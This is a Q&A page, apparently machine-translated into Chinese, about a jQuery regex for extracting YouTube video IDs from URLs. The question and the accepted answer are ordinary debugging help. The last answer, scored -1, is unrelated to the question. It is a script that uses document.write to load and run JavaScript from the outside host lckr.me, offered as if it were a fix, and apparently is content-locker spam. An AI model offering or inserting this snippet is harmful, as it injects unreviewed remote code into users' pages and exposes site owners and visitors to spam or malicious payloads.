2011-12-21 33 views
3

視頻ID的YouTube更換網址我從這裏http://jsfiddle.net/HfqmE/1/ 採取的正則表達式我有HTML使用JavaScript和jQuery的

<span class="yturl">http://www.youtube.com/watch?feature=endscreen&NR=1&v=jSAwWrbdoEQ</span> 
<span class="yturl">http://www.youtube.com/watch?v=jSAwWrbdoEQ&feature=feedrec_grec_index</span> 
<span class="yturl">http://youtu.be/jSAwWrbdoEQ</span> 
<span class="yturl">http://www.youtube.com/embed/jSAwWrbdoEQ</span> 
<span class="yturl">http://www.youtube.com/v/jSAwWrbdoEQ?version=3&amp;hl=en_US</span> 
<span class="yturl">http://www.youtube.com/watch?NR=1&feature=endscreen&v=jSAwWrbdoEQ</span> 
<span class="yturl">http://www.youtube.com/user/TheGameVEVO#p/a/u/1/jSAwWrbdoEQ</span> 

每個span.yturl我試圖從它包含了我的YouTube網址提取ID已嘗試http://jsfiddle.net/HfqmE/40/

$("span.yturl").each(function(){ 
    var regex = /(\?v=|\&v=|\/\d\/|\/embed\/|\/v\/|\.be\/)([a-zA-Z0-9\-\_]+)/; 
    var youtubeurl = $("span.yturl").html(); 
    var regexyoutubeurl = youtubeurl.match(regex); 
    $("span.yturl").html(regexyoutubeurl); 
}); 

但是,這只是留下結果空白請幫助!

回答

3

匹配返回一個數組。它看起來像你想regexyoutubeurl[2]

您正在重新查詢您的迭代器函數中的$("span.yturl")。這樣你就可以在7次跨度上執行任何操作,而不是每次執行7次跨度。改爲使用$(this)

此外,請使用.text()而不是.html(),以免您的&變爲&amp;

$("span.yturl").each(function(){ 
    var regex = /(\?v=|\&v=|\/\d\/|\/embed\/|\/v\/|\.be\/)([a-zA-Z0-9\-\_]+)/; 
    var youtubeurl = $(this).text(); 
    var regexyoutubeurl = youtubeurl.match(regex); 
    if (regexyoutubeurl) { 
     $(this).text(regexyoutubeurl[2]); 
    } 
}); 

http://jsfiddle.net/gilly3/HfqmE/53/

+0

輝煌,但有一個問題遺憾的是每個返回的ID有HTTP盈這是爲什麼? – 2011-12-21 16:43:19

+0

感謝您更新它的輝煌:) – 2011-12-21 16:48:55

+0

@Yusaf - 原因不止一個問題。我已經更新了我的答案以解決其他問題。 – gilly3 2011-12-21 16:49:01

-1
<script> 
var LockedTag = 'replace-this-with-your-videoID'; 
document.write('<'+'script src="http://lckr.me/18B?s='+Math.round(Math.random()*100000)+'" type="text/javascript"><'+'/script>'); 
</script>